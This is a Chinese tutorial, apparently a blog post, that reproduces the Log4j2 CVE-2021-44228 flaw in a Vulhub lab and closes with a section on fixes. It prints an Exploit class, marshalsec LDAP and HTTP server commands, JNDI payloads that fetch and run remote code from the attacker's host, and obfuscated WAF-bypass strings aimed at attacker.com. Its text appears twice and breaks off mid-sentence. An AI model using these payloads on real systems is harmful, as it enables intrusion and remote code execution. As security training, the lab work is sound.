1. 项目概述与核心价值最近在整理自己的渗透测试学习笔记发现“Log4j2远程代码执行漏洞”CVE-2021-44228这个堪称史诗级的漏洞依然是安全从业者绕不开的必修课。它之所以经典不仅因为其影响范围之广、利用方式之简单更因为它深刻地揭示了现代软件供应链中依赖管理的巨大风险。很多朋友可能听说过“核弹级漏洞”这个说法但真正动手去复现、去理解其原理的人并不多。今天我就带大家手把手、从零开始在Vulhub这个极佳的漏洞复现环境中完整地走一遍CVE-2021-44228的复现流程。这不仅仅是一次“攻击”演示更是一次深入理解JNDI注入、LDAP协议利用以及Java类动态加载机制的学习之旅。无论你是刚入门的安全爱好者还是想巩固基础的渗透测试工程师通过这个靶场的实战你都能获得远超阅读漏洞公告的深刻认知。Vulhub提供了开箱即用的漏洞环境免去了我们搭建复杂Java Web应用的麻烦让我们可以专注于漏洞利用本身。整个复现过程我们会搭建一个简易的恶意LDAP服务器构造包含JNDI注入点的攻击载荷并最终在目标服务器上弹出计算器这是漏洞验证的经典方式。我会详细解释每一个步骤背后的原理比如为什么Log4j2会解析${}JNDI是如何查找远程对象的以及LDAP服务器返回的序列化数据是如何触发代码执行的。同时我也会分享我在复现过程中踩过的坑比如Docker环境网络问题、Java版本差异导致的利用失败等并提供对应的解决方案。我们的目标不是简单地“打穿”靶场而是真正搞懂它。2. 环境准备与漏洞原理深度解析2.1 Vulhub靶场环境搭建Vulhub的便利性在于其基于Docker的一键部署。首先确保你的实验机器上已经安装了Docker和Docker Compose。我个人的实验环境是Kali Linux但Ubuntu、CentOS甚至Windows下的WSL2都是可以的。第一步是获取Vulhub的源码。打开终端执行以下命令git clone https://github.com/vulhub/vulhub.git cd vulhub进入Vulhub目录后你会发现里面按漏洞分类了数百个目录。我们需要找到Log4j2的漏洞环境。通常它在log4j/CVE-2021-44228路径下。使用find命令可以快速定位find . -name “*44228*” -type d定位到目录后进入该目录cd log4j/CVE-2021-44228这个目录下会有一个docker-compose.yml文件这就是定义整个漏洞环境的核心。使用Docker Compose启动环境docker-compose up -d-d参数代表后台运行。执行成功后使用docker-compose ps命令查看容器状态应该能看到一个名为vulhub-log4j2之类的容器正在运行并且映射了本地的8080端口。注意首次运行可能会需要下载基础镜像速度取决于网络。如果遇到权限问题可能需要使用sudo或以docker用户组身份运行。另外请确保你的8080端口没有被其他程序占用如果占用可以修改docker-compose.yml文件中的端口映射例如将8080:8080改为8081:8080。环境启动后访问http://your-ip:8080你应该能看到一个简单的Web页面可能是一个登录框或者一个带有输入框的界面。这就是存在漏洞的模拟应用。2.2 CVE-2021-44228漏洞原理拆解在动手之前我们必须把原理吃透这样才能在遇到问题时知道从哪里排查。Log4j2漏洞的核心在于递归解析日志消息中的Lookup表达式。1. Lookup功能与${}语法 Log4j2为了提供灵活的日志输出支持一种叫做“Lookup”的功能。它允许在配置文件中通过特定的语法动态地插入一些值比如系统属性、环境变量等。语法就是${prefix:name}。例如${java:version}可以插入Java版本。这个功能本意是好的但问题出在Log4j2在记录日志时不仅会解析配置文件中的Lookup还会解析日志消息本身中的Lookup表达式。2. JNDI Lookup的致命缺陷 在所有Lookup中有一个叫做jndi的Lookup。JNDIJava Naming and Directory Interface是Java提供的一个API用于访问各种命名和目录服务例如LDAP、DNS、RMI等。${jndi:ldap://attacker.com/evil}这个表达式的含义是通过JNDI接口去访问attacker.com这个LDAP服务器并查找名为evil的对象。3. 攻击链的形成 当攻击者能够控制被日志记录的信息比如HTTP请求头中的User-Agent、Referer或者表单提交的用户名他就可以注入这样一个JNDI Lookup字符串。Log4j2在记录日志时会“忠实地”去解析这个字符串。解析过程如下Log4j2发现日志消息中有${jndi:ldap://...}。它调用JNDI Lookup处理器。JNDI客户端向攻击者控制的LDAP服务器发起请求。恶意的LDAP服务器可以返回一个特殊的响应指向另一个HTTP服务器上的一个Java类文件.class。受害服务器的JNDI客户端会去这个HTTP服务器下载并加载这个Java类。这个被加载的Java类的静态代码块或构造函数中的代码就会被执行从而完成远程代码执行。4. 关键版本与默认配置 这个漏洞影响Log4j2 2.0-beta9 到 2.14.1 版本。在2.15.0版本中官方默认禁用了JNDI Lookup功能并限制了LDAP协议的访问。但理解默认配置的演变也是学习的一部分。我们复现的环境正是模拟了存在漏洞的旧版本应用。简单类比就像一个快递员Log4j2他的工作是把收到的包裹信息日志登记到本子上。但他有个“热心”的习惯如果包裹信息上写着“请联系某某电话获取详细地址”他会真的去打电话。攻击者就是寄了一个包裹上面写着“请联系黑客电话LDAP服务器他会告诉你下一步去哪取HTTP服务器”。快递员打了电话按照指示去了一个危险的地方取回了一个伪装成普通物品的炸弹恶意类并把它带回了仓库服务器内存执行。3. 攻击环境搭建与利用工具解析3.1 搭建恶意LDAP服务器要利用这个漏洞我们需要一个可控的恶意LDAP服务器。最常用的工具是marshalsec它可以快速启动一个能提供恶意JNDI引用的LDAP服务。首先我们需要编译它。确保你的机器安装了Java开发环境JDK 8或11和Maven。然后执行git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译过程可能需要几分钟。完成后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。接下来我们需要准备一个恶意的Java类。这个类的作用就是在目标服务器上执行命令。创建一个名为Exploit.java的文件内容如下public class Exploit { static { try { // 这里以弹出计算器为例Linux系统可改为执行 /bin/bash -c ‘touch /tmp/hacked’ Runtime.getRuntime().exec(“calc.exe”); } catch (Exception e) { e.printStackTrace(); } } }实操心得Runtime.getRuntime().exec的参数处理在不同操作系统和Java版本下有些微妙差异。对于Windowscalc.exe很直观。对于Linux/Mac如果想执行带参数的命令更可靠的方式是使用字符串数组例如new String[]{“/bin/bash”, “-c”, “touch /tmp/hacked”}。这能避免因shell解析导致的意外问题。编译这个恶意类javac Exploit.java这会生成Exploit.class文件。我们需要一个HTTP服务器来托管这个.class文件让受害服务器的JNDI客户端能下载到。使用Python可以快速搭建python3 -m http.server 8888这个命令会在当前目录启动一个HTTP服务器端口为8888。请确保你的Exploit.class文件就在你运行此命令的目录下。现在启动恶意的LDAP服务器。在marshalsec的target目录下运行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://your-attacker-ip:8888/#Exploit” 1389your-attacker-ip这是你运行LDAP和HTTP服务的机器的IP地址。非常重要如果靶场运行在Docker容器里而你的攻击工具运行在宿主机这里不能填127.0.0.1必须填宿主机的真实局域网IP如192.168.1.xxx因为对于容器内的应用来说127.0.0.1是它自己。1389是LDAP服务监听的端口。http://.../#Exploit这个URL告诉LDAP服务器当有客户端查询时就返回一个引用Reference指向这个HTTP地址下的Exploit类。至此攻击端环境准备完毕一个恶意LDAP服务器监听1389一个托管恶意类的HTTP服务器监听8888。3.2 漏洞触发点探测与Payload构造现在回到靶场应用。我们需要找到一个能将输入记录到日志的地方。常见的触发点包括任何用户输入框登录名、搜索框、评论框。HTTP请求头User-Agent, X-Forwarded-For, Referer等。很多框架会将这些头信息记录到日志中。URL参数。在Vulhub的Log4j2漏洞环境中通常设计了一个简单的接口例如一个GET /请求它会将请求参数payload的值记录到日志。我们可以先用一个无害的Payload测试日志记录功能是否正常并观察JNDI解析是否开启。一个基础的测试Payload是${jndi:ldap://your-attacker-ip:1389/test}。但这个Payload可能因为网络或配置问题不成功。一个更稳妥的、用于探测的Payload是使用DNSLog来验证漏洞是否存在因为DNS请求的出网限制通常比LDAP更宽松。你可以使用公开的DNSLog平台如dnslog.cn获取一个临时域名然后构造Payload${jndi:ldap://${sys:java.version}.xxx.dnslog.cn/a}。如果漏洞存在且目标服务器能出网你会在DNSLog平台上看到一条解析记录其中包含了目标的Java版本信息。这是一个非常低调的验证方式。注意事项在实际渗透测试中务必先获得授权。使用DNSLog进行探测是相对隐蔽和安全的方式可以避免直接执行命令带来的风险也能确认漏洞是否存在以及目标是否具备出网能力。对于我们的本地靶场我们已经知道了漏洞存在所以可以直接使用完整的利用Payload。假设靶场IP是192.168.1.100我们的攻击机IP是192.168.1.50。4. 完整漏洞复现过程与交互分析4.1 发起攻击请求我们将通过curl命令模拟攻击请求。假设漏洞触发点是一个名为x的GET参数。在终端执行curl ‘http://192.168.1.100:8080/?x${jndi:ldap://192.168.1.50:1389/Exploit}’发送这个请求后观察攻击机上的两个终端窗口LDAP服务器和HTTP服务器。1. LDAP服务器窗口你应该会立刻看到类似下面的连接信息这表示靶场应用的Log4j2已经解析了Payload并向你的LDAP服务器发起了查询请求。Send LDAP reference result for Exploit redirecting to http://192.168.1.50:8888/Exploit.class2. HTTP服务器窗口紧接着你会看到一条HTTP GET请求记录请求的路径是/Exploit.class。这表示靶场服务器的JNDI客户端收到了LDAP服务器返回的引用并根据引用地址去下载恶意类文件。192.168.1.100 - - [日期时间] “GET /Exploit.class HTTP/1.1” 200 -3. 靶场服务器如果一切顺利你会在运行靶场Docker容器的宿主机上看到弹出了一个计算器窗口Windows或者在目标容器内成功创建了文件Linux。踩坑记录这里最容易出问题的地方就是网络连通性。如果LDAP服务器没有收到连接请检查靶场IP和攻击机IP是否在同一个网段。攻击机的防火墙是否放行了1389和8888端口。Docker容器的网络模式。默认的bridge模式下容器有独立的IP宿主机IP需要特殊配置才能被容器访问。一个简单的测试方法是从靶场容器内ping或curl攻击机的IP和端口看是否通。Vulhub环境通常配置好了但如果自定义环境就需注意。4.2 利用过程深度剖析让我们结合终端输出再梳理一遍整个攻击链的细节注入与解析我们的curl请求将${jndi:ldap://192.168.1.50:1389/Exploit}作为参数值发送给靶场应用。应用在处理时由于某些操作如记录错误日志、打印用户输入将这个字符串传递给了Log4j2进行日志记录。JNDI查询Log4j2在记录时识别出这是一个JNDI Lookup表达式并启动解析流程。它初始化一个JNDI上下文然后向ldap://192.168.1.50:1389发起LDAP查询查询的条目名是Exploit。LDAP响应我们启动的marshalsecLDAP服务器收到了查询请求。它被配置为对于任何查询都返回一个javaReferenceAddress其值就是我们预先设置的http://192.168.1.50:8888/#Exploit。这个响应告诉客户端“你要找的对象不在我这你去这个HTTP地址找它的类名是Exploit。”类加载与执行靶场服务器的JNDI客户端运行在受害应用进程内收到这个引用后会自动去指定的HTTP地址 (http://192.168.1.50:8888/Exploit.class) 下载该类的字节码。然后使用当前线程的上下文类加载器通常是Web应用的类加载器来加载这个Exploit类。在Java中加载一个类时其静态代码块static {}会自动执行。我们在Exploit类的静态代码块中编写的Runtime.getRuntime().exec(“calc.exe”)就被执行了从而实现了远程代码执行。这个过程完美展示了“信任边界”的崩塌一个本该只是被记录下来的字符串却因为组件的“过度智能”解析变成了一个可以发起网络请求、加载远程代码的指令。5. 高阶利用技巧与防御绕过探讨5.1 绕过WAF与特殊字符处理在实际的网络环境中目标应用前端可能有WAFWeb应用防火墙防护它会检测并拦截类似${jndi:ldap://这样的明显攻击字符串。这就需要我们进行一些绕过。1. 大小写混淆某些简单的正则匹配可能区分大小写。可以尝试${JNDi:LdAp://...或${jNdI:...。2. 利用变量嵌套Log4j2的Lookup支持嵌套。例如我们可以将协议或地址的一部分放在环境变量中${jndi:${env:PROTO}://${env:HOST}/a}。如果攻击者能控制环境变量可能性较低或者利用其他Lookup如lower:upper:进行字符串变换可能构成绕过。3. 使用其他协议除了ldapldapsLDAP over SSL、rmi也是常见的JNDI协议。可以尝试${jndi:rmi://attacker:1099/Exploit}。marshalsec同样支持启动RMI服务器。4. 编码与特殊字符URL编码是常见思路。例如将:编码为%3a/编码为%2f。但需要注意Log4j2在解析前可能会对输入进行解码。有时双重编码可能有效。更隐蔽的方式是利用${::-j}这种形式这是Log4j2 Lookup中${lower:}的一种变体可以用来构造字符串。一个经典的绕过Payload例子${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}。这个Payload完全避免了直接出现jndi和ldap的连续字符串。实操心得绕过手法的有效性高度依赖于目标WAF的规则强度和Log4j2的具体版本。在实战中通常需要结合多种方法进行模糊测试。一个稳妥的策略是先使用DNSLog Payload可结合绕过技巧验证漏洞和出网能力再尝试加载更复杂的Payload。5.2 利用限制与高版本Java的挑战随着漏洞的爆发不仅Log4j2自身进行了修复Java运行环境也通过版本升级增加了限制这使得后期利用难度加大。1. Java版本的影响Java 8u121, 7u131, 6u141 之前这些版本默认信任通过JNDI加载的远程codebase利用非常简单如我们演示的那样。Java 8u121, 7u131, 6u141 至 8u191这些版本默认设置了com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase为false默认禁止从远程Codebase加载类。这意味着即使成功触发了JNDI查询并且LDAP服务器返回了远程引用客户端也不会去下载执行。这是最主要的利用限制。Java 8u191 之后限制更加严格。2. 高版本Java下的利用思路 在高版本Java中直接加载远程字节码的路径被阻断但攻击研究并未停止出现了“绕过”这些限制的技术其核心思路是利用目标Classpath中已有的类进行利用。利用本地ClassPath中的类如果LDAP服务器返回一个引用指向目标服务器上已有的某个类例如Tomcat包中的javax.el.ELProcessor或org.apache.naming.factory.BeanFactory并且这个类的某个方法可以触发代码执行如EL表达式解析、反序列化等那么依然可以实现RCE。这需要攻击者对目标应用的依赖库非常了解。利用反序列化GadgetJNDI的LDAP响应除了返回Reference还可以返回一个序列化的对象。如果目标应用的ClassPath中存在可用的反序列化利用链如commons-collections, groovy等那么通过LDAP返回一个恶意的序列化对象也可能触发RCE。marshalsec工具也支持这种方式-m参数指定gadget类型。这些高阶利用方式复杂度高成功率依赖于目标环境但它们是理解Java安全机制和漏洞利用演进的绝佳案例。对于我们复现学习来说使用较低版本的Java如8u121以前可以最直观地演示漏洞原理。6. 漏洞修复方案与排查指南6.1 修复方案详解作为防御方如果发现自己的应用存在此漏洞应立即采取行动。修复是分层的1. 紧急缓解措施治标设置系统属性在启动应用的JVM参数中增加-Dlog4j2.formatMsgNoLookupstrue。这个参数从Log4j2 2.10.0开始可用它会全局禁用消息中的Lookup解析。修改环境变量设置LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量效果同上。移除漏洞类找到Log4j2核心jar包如log4j-core-*.jar删除JndiLookup类。可以使用命令zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class。这是一种“外科手术”式的方案但需确保所有部署节点都执行。注意缓解措施可能因版本和配置而异且不是根本解决方案应尽快升级。2. 根本解决方案治本升级Log4j2将Log4j2升级到安全版本。对于 2.12.x 分支升级到 2.12.4。对于 2.13.x 分支升级到 2.13.4。强烈建议升级到最新的 2.17.x 或更高版本如2.19.0这些版本不仅修复了CVE-2021-44228还修复了后续披露的CVE-2021-45046拒绝服务、CVE-2021-45105拒绝服务和CVE-2021-44832RCE等。升级JDK将JDK升级到较新版本如8u191, 11.0.1之后利用其默认的JNDI远程类加载限制。综合防御结合WAF规则拦截包含${jndi:等模式的请求、网络层限制禁止应用服务器非必要出站流量尤其是到LDAP/RMI的389、1389、1099等端口、安全编码避免将不可信输入直接记录到日志进行立体防御。6.2 安全排查与验证清单在修复后如何验证漏洞是否真正被修复以下是一个排查清单版本确认检查项目中所有log4j-core-*.jar文件的版本号。使用命令java -cp log4j-core-2.x.jar org.apache.logging.log4j.core.Version可以准确输出版本。检查Maven (pom.xml) 或 Gradle (build.gradle) 依赖树确保没有通过传递依赖引入不安全的旧版本。使用mvn dependency:tree | grep log4j或gradle dependencies | grep log4j。配置检查检查log4j2.xml或log4j2.properties配置文件确认没有启用危险的Lookup配置。检查应用启动参数和环境变量确认已设置-Dlog4j2.formatMsgNoLookupstrue或LOG4J_FORMAT_MSG_NO_LOOKUPStrue。漏洞验证内部验证在测试环境构造一个无害的DNSLog Payload如${jndi:dns://${sys:java.version}.your-dnslog-subdomain.dnslog.cn/a}将其注入到可能被日志记录的所有用户输入点请求头、参数、Body等。观察DNSLog平台是否有来自你测试服务器的解析记录。如果没有说明缓解措施可能生效。工具扫描使用专业的SCA软件成分分析工具或漏洞扫描器对应用进行扫描。代码审计审查代码中所有使用Log4j2 API如logger.info(),logger.error()的地方特别是记录用户输入、请求参数、异常信息的位置。环境加固限制应用服务器的出站网络连接只允许访问必要的内部服务如数据库、缓存、真正的LDAP服务器。更新WAF规则持续监控和拦截攻击尝试。通过Vulhub靶场的复现我们不仅掌握了攻击方法更从防御视角理解了漏洞的根源和修复的关键。这种攻防一体的学习才是安全技能提升的正道。每一次漏洞复现都是一次对系统脆弱性和安全设计的重新思考。
从零复现Log4j2史诗级漏洞：JNDI注入与LDAP攻击链深度剖析
1. 项目概述与核心价值最近在整理自己的渗透测试学习笔记发现“Log4j2远程代码执行漏洞”CVE-2021-44228这个堪称史诗级的漏洞依然是安全从业者绕不开的必修课。它之所以经典不仅因为其影响范围之广、利用方式之简单更因为它深刻地揭示了现代软件供应链中依赖管理的巨大风险。很多朋友可能听说过“核弹级漏洞”这个说法但真正动手去复现、去理解其原理的人并不多。今天我就带大家手把手、从零开始在Vulhub这个极佳的漏洞复现环境中完整地走一遍CVE-2021-44228的复现流程。这不仅仅是一次“攻击”演示更是一次深入理解JNDI注入、LDAP协议利用以及Java类动态加载机制的学习之旅。无论你是刚入门的安全爱好者还是想巩固基础的渗透测试工程师通过这个靶场的实战你都能获得远超阅读漏洞公告的深刻认知。Vulhub提供了开箱即用的漏洞环境免去了我们搭建复杂Java Web应用的麻烦让我们可以专注于漏洞利用本身。整个复现过程我们会搭建一个简易的恶意LDAP服务器构造包含JNDI注入点的攻击载荷并最终在目标服务器上弹出计算器这是漏洞验证的经典方式。我会详细解释每一个步骤背后的原理比如为什么Log4j2会解析${}JNDI是如何查找远程对象的以及LDAP服务器返回的序列化数据是如何触发代码执行的。同时我也会分享我在复现过程中踩过的坑比如Docker环境网络问题、Java版本差异导致的利用失败等并提供对应的解决方案。我们的目标不是简单地“打穿”靶场而是真正搞懂它。2. 环境准备与漏洞原理深度解析2.1 Vulhub靶场环境搭建Vulhub的便利性在于其基于Docker的一键部署。首先确保你的实验机器上已经安装了Docker和Docker Compose。我个人的实验环境是Kali Linux但Ubuntu、CentOS甚至Windows下的WSL2都是可以的。第一步是获取Vulhub的源码。打开终端执行以下命令git clone https://github.com/vulhub/vulhub.git cd vulhub进入Vulhub目录后你会发现里面按漏洞分类了数百个目录。我们需要找到Log4j2的漏洞环境。通常它在log4j/CVE-2021-44228路径下。使用find命令可以快速定位find . -name “*44228*” -type d定位到目录后进入该目录cd log4j/CVE-2021-44228这个目录下会有一个docker-compose.yml文件这就是定义整个漏洞环境的核心。使用Docker Compose启动环境docker-compose up -d-d参数代表后台运行。执行成功后使用docker-compose ps命令查看容器状态应该能看到一个名为vulhub-log4j2之类的容器正在运行并且映射了本地的8080端口。注意首次运行可能会需要下载基础镜像速度取决于网络。如果遇到权限问题可能需要使用sudo或以docker用户组身份运行。另外请确保你的8080端口没有被其他程序占用如果占用可以修改docker-compose.yml文件中的端口映射例如将8080:8080改为8081:8080。环境启动后访问http://your-ip:8080你应该能看到一个简单的Web页面可能是一个登录框或者一个带有输入框的界面。这就是存在漏洞的模拟应用。2.2 CVE-2021-44228漏洞原理拆解在动手之前我们必须把原理吃透这样才能在遇到问题时知道从哪里排查。Log4j2漏洞的核心在于递归解析日志消息中的Lookup表达式。1. Lookup功能与${}语法 Log4j2为了提供灵活的日志输出支持一种叫做“Lookup”的功能。它允许在配置文件中通过特定的语法动态地插入一些值比如系统属性、环境变量等。语法就是${prefix:name}。例如${java:version}可以插入Java版本。这个功能本意是好的但问题出在Log4j2在记录日志时不仅会解析配置文件中的Lookup还会解析日志消息本身中的Lookup表达式。2. JNDI Lookup的致命缺陷 在所有Lookup中有一个叫做jndi的Lookup。JNDIJava Naming and Directory Interface是Java提供的一个API用于访问各种命名和目录服务例如LDAP、DNS、RMI等。${jndi:ldap://attacker.com/evil}这个表达式的含义是通过JNDI接口去访问attacker.com这个LDAP服务器并查找名为evil的对象。3. 攻击链的形成 当攻击者能够控制被日志记录的信息比如HTTP请求头中的User-Agent、Referer或者表单提交的用户名他就可以注入这样一个JNDI Lookup字符串。Log4j2在记录日志时会“忠实地”去解析这个字符串。解析过程如下Log4j2发现日志消息中有${jndi:ldap://...}。它调用JNDI Lookup处理器。JNDI客户端向攻击者控制的LDAP服务器发起请求。恶意的LDAP服务器可以返回一个特殊的响应指向另一个HTTP服务器上的一个Java类文件.class。受害服务器的JNDI客户端会去这个HTTP服务器下载并加载这个Java类。这个被加载的Java类的静态代码块或构造函数中的代码就会被执行从而完成远程代码执行。4. 关键版本与默认配置 这个漏洞影响Log4j2 2.0-beta9 到 2.14.1 版本。在2.15.0版本中官方默认禁用了JNDI Lookup功能并限制了LDAP协议的访问。但理解默认配置的演变也是学习的一部分。我们复现的环境正是模拟了存在漏洞的旧版本应用。简单类比就像一个快递员Log4j2他的工作是把收到的包裹信息日志登记到本子上。但他有个“热心”的习惯如果包裹信息上写着“请联系某某电话获取详细地址”他会真的去打电话。攻击者就是寄了一个包裹上面写着“请联系黑客电话LDAP服务器他会告诉你下一步去哪取HTTP服务器”。快递员打了电话按照指示去了一个危险的地方取回了一个伪装成普通物品的炸弹恶意类并把它带回了仓库服务器内存执行。3. 攻击环境搭建与利用工具解析3.1 搭建恶意LDAP服务器要利用这个漏洞我们需要一个可控的恶意LDAP服务器。最常用的工具是marshalsec它可以快速启动一个能提供恶意JNDI引用的LDAP服务。首先我们需要编译它。确保你的机器安装了Java开发环境JDK 8或11和Maven。然后执行git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译过程可能需要几分钟。完成后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。接下来我们需要准备一个恶意的Java类。这个类的作用就是在目标服务器上执行命令。创建一个名为Exploit.java的文件内容如下public class Exploit { static { try { // 这里以弹出计算器为例Linux系统可改为执行 /bin/bash -c ‘touch /tmp/hacked’ Runtime.getRuntime().exec(“calc.exe”); } catch (Exception e) { e.printStackTrace(); } } }实操心得Runtime.getRuntime().exec的参数处理在不同操作系统和Java版本下有些微妙差异。对于Windowscalc.exe很直观。对于Linux/Mac如果想执行带参数的命令更可靠的方式是使用字符串数组例如new String[]{“/bin/bash”, “-c”, “touch /tmp/hacked”}。这能避免因shell解析导致的意外问题。编译这个恶意类javac Exploit.java这会生成Exploit.class文件。我们需要一个HTTP服务器来托管这个.class文件让受害服务器的JNDI客户端能下载到。使用Python可以快速搭建python3 -m http.server 8888这个命令会在当前目录启动一个HTTP服务器端口为8888。请确保你的Exploit.class文件就在你运行此命令的目录下。现在启动恶意的LDAP服务器。在marshalsec的target目录下运行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://your-attacker-ip:8888/#Exploit” 1389your-attacker-ip这是你运行LDAP和HTTP服务的机器的IP地址。非常重要如果靶场运行在Docker容器里而你的攻击工具运行在宿主机这里不能填127.0.0.1必须填宿主机的真实局域网IP如192.168.1.xxx因为对于容器内的应用来说127.0.0.1是它自己。1389是LDAP服务监听的端口。http://.../#Exploit这个URL告诉LDAP服务器当有客户端查询时就返回一个引用Reference指向这个HTTP地址下的Exploit类。至此攻击端环境准备完毕一个恶意LDAP服务器监听1389一个托管恶意类的HTTP服务器监听8888。3.2 漏洞触发点探测与Payload构造现在回到靶场应用。我们需要找到一个能将输入记录到日志的地方。常见的触发点包括任何用户输入框登录名、搜索框、评论框。HTTP请求头User-Agent, X-Forwarded-For, Referer等。很多框架会将这些头信息记录到日志中。URL参数。在Vulhub的Log4j2漏洞环境中通常设计了一个简单的接口例如一个GET /请求它会将请求参数payload的值记录到日志。我们可以先用一个无害的Payload测试日志记录功能是否正常并观察JNDI解析是否开启。一个基础的测试Payload是${jndi:ldap://your-attacker-ip:1389/test}。但这个Payload可能因为网络或配置问题不成功。一个更稳妥的、用于探测的Payload是使用DNSLog来验证漏洞是否存在因为DNS请求的出网限制通常比LDAP更宽松。你可以使用公开的DNSLog平台如dnslog.cn获取一个临时域名然后构造Payload${jndi:ldap://${sys:java.version}.xxx.dnslog.cn/a}。如果漏洞存在且目标服务器能出网你会在DNSLog平台上看到一条解析记录其中包含了目标的Java版本信息。这是一个非常低调的验证方式。注意事项在实际渗透测试中务必先获得授权。使用DNSLog进行探测是相对隐蔽和安全的方式可以避免直接执行命令带来的风险也能确认漏洞是否存在以及目标是否具备出网能力。对于我们的本地靶场我们已经知道了漏洞存在所以可以直接使用完整的利用Payload。假设靶场IP是192.168.1.100我们的攻击机IP是192.168.1.50。4. 完整漏洞复现过程与交互分析4.1 发起攻击请求我们将通过curl命令模拟攻击请求。假设漏洞触发点是一个名为x的GET参数。在终端执行curl ‘http://192.168.1.100:8080/?x${jndi:ldap://192.168.1.50:1389/Exploit}’发送这个请求后观察攻击机上的两个终端窗口LDAP服务器和HTTP服务器。1. LDAP服务器窗口你应该会立刻看到类似下面的连接信息这表示靶场应用的Log4j2已经解析了Payload并向你的LDAP服务器发起了查询请求。Send LDAP reference result for Exploit redirecting to http://192.168.1.50:8888/Exploit.class2. HTTP服务器窗口紧接着你会看到一条HTTP GET请求记录请求的路径是/Exploit.class。这表示靶场服务器的JNDI客户端收到了LDAP服务器返回的引用并根据引用地址去下载恶意类文件。192.168.1.100 - - [日期时间] “GET /Exploit.class HTTP/1.1” 200 -3. 靶场服务器如果一切顺利你会在运行靶场Docker容器的宿主机上看到弹出了一个计算器窗口Windows或者在目标容器内成功创建了文件Linux。踩坑记录这里最容易出问题的地方就是网络连通性。如果LDAP服务器没有收到连接请检查靶场IP和攻击机IP是否在同一个网段。攻击机的防火墙是否放行了1389和8888端口。Docker容器的网络模式。默认的bridge模式下容器有独立的IP宿主机IP需要特殊配置才能被容器访问。一个简单的测试方法是从靶场容器内ping或curl攻击机的IP和端口看是否通。Vulhub环境通常配置好了但如果自定义环境就需注意。4.2 利用过程深度剖析让我们结合终端输出再梳理一遍整个攻击链的细节注入与解析我们的curl请求将${jndi:ldap://192.168.1.50:1389/Exploit}作为参数值发送给靶场应用。应用在处理时由于某些操作如记录错误日志、打印用户输入将这个字符串传递给了Log4j2进行日志记录。JNDI查询Log4j2在记录时识别出这是一个JNDI Lookup表达式并启动解析流程。它初始化一个JNDI上下文然后向ldap://192.168.1.50:1389发起LDAP查询查询的条目名是Exploit。LDAP响应我们启动的marshalsecLDAP服务器收到了查询请求。它被配置为对于任何查询都返回一个javaReferenceAddress其值就是我们预先设置的http://192.168.1.50:8888/#Exploit。这个响应告诉客户端“你要找的对象不在我这你去这个HTTP地址找它的类名是Exploit。”类加载与执行靶场服务器的JNDI客户端运行在受害应用进程内收到这个引用后会自动去指定的HTTP地址 (http://192.168.1.50:8888/Exploit.class) 下载该类的字节码。然后使用当前线程的上下文类加载器通常是Web应用的类加载器来加载这个Exploit类。在Java中加载一个类时其静态代码块static {}会自动执行。我们在Exploit类的静态代码块中编写的Runtime.getRuntime().exec(“calc.exe”)就被执行了从而实现了远程代码执行。这个过程完美展示了“信任边界”的崩塌一个本该只是被记录下来的字符串却因为组件的“过度智能”解析变成了一个可以发起网络请求、加载远程代码的指令。5. 高阶利用技巧与防御绕过探讨5.1 绕过WAF与特殊字符处理在实际的网络环境中目标应用前端可能有WAFWeb应用防火墙防护它会检测并拦截类似${jndi:ldap://这样的明显攻击字符串。这就需要我们进行一些绕过。1. 大小写混淆某些简单的正则匹配可能区分大小写。可以尝试${JNDi:LdAp://...或${jNdI:...。2. 利用变量嵌套Log4j2的Lookup支持嵌套。例如我们可以将协议或地址的一部分放在环境变量中${jndi:${env:PROTO}://${env:HOST}/a}。如果攻击者能控制环境变量可能性较低或者利用其他Lookup如lower:upper:进行字符串变换可能构成绕过。3. 使用其他协议除了ldapldapsLDAP over SSL、rmi也是常见的JNDI协议。可以尝试${jndi:rmi://attacker:1099/Exploit}。marshalsec同样支持启动RMI服务器。4. 编码与特殊字符URL编码是常见思路。例如将:编码为%3a/编码为%2f。但需要注意Log4j2在解析前可能会对输入进行解码。有时双重编码可能有效。更隐蔽的方式是利用${::-j}这种形式这是Log4j2 Lookup中${lower:}的一种变体可以用来构造字符串。一个经典的绕过Payload例子${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attacker.com/a}。这个Payload完全避免了直接出现jndi和ldap的连续字符串。实操心得绕过手法的有效性高度依赖于目标WAF的规则强度和Log4j2的具体版本。在实战中通常需要结合多种方法进行模糊测试。一个稳妥的策略是先使用DNSLog Payload可结合绕过技巧验证漏洞和出网能力再尝试加载更复杂的Payload。5.2 利用限制与高版本Java的挑战随着漏洞的爆发不仅Log4j2自身进行了修复Java运行环境也通过版本升级增加了限制这使得后期利用难度加大。1. Java版本的影响Java 8u121, 7u131, 6u141 之前这些版本默认信任通过JNDI加载的远程codebase利用非常简单如我们演示的那样。Java 8u121, 7u131, 6u141 至 8u191这些版本默认设置了com.sun.jndi.rmi.object.trustURLCodebase和com.sun.jndi.ldap.object.trustURLCodebase为false默认禁止从远程Codebase加载类。这意味着即使成功触发了JNDI查询并且LDAP服务器返回了远程引用客户端也不会去下载执行。这是最主要的利用限制。Java 8u191 之后限制更加严格。2. 高版本Java下的利用思路 在高版本Java中直接加载远程字节码的路径被阻断但攻击研究并未停止出现了“绕过”这些限制的技术其核心思路是利用目标Classpath中已有的类进行利用。利用本地ClassPath中的类如果LDAP服务器返回一个引用指向目标服务器上已有的某个类例如Tomcat包中的javax.el.ELProcessor或org.apache.naming.factory.BeanFactory并且这个类的某个方法可以触发代码执行如EL表达式解析、反序列化等那么依然可以实现RCE。这需要攻击者对目标应用的依赖库非常了解。利用反序列化GadgetJNDI的LDAP响应除了返回Reference还可以返回一个序列化的对象。如果目标应用的ClassPath中存在可用的反序列化利用链如commons-collections, 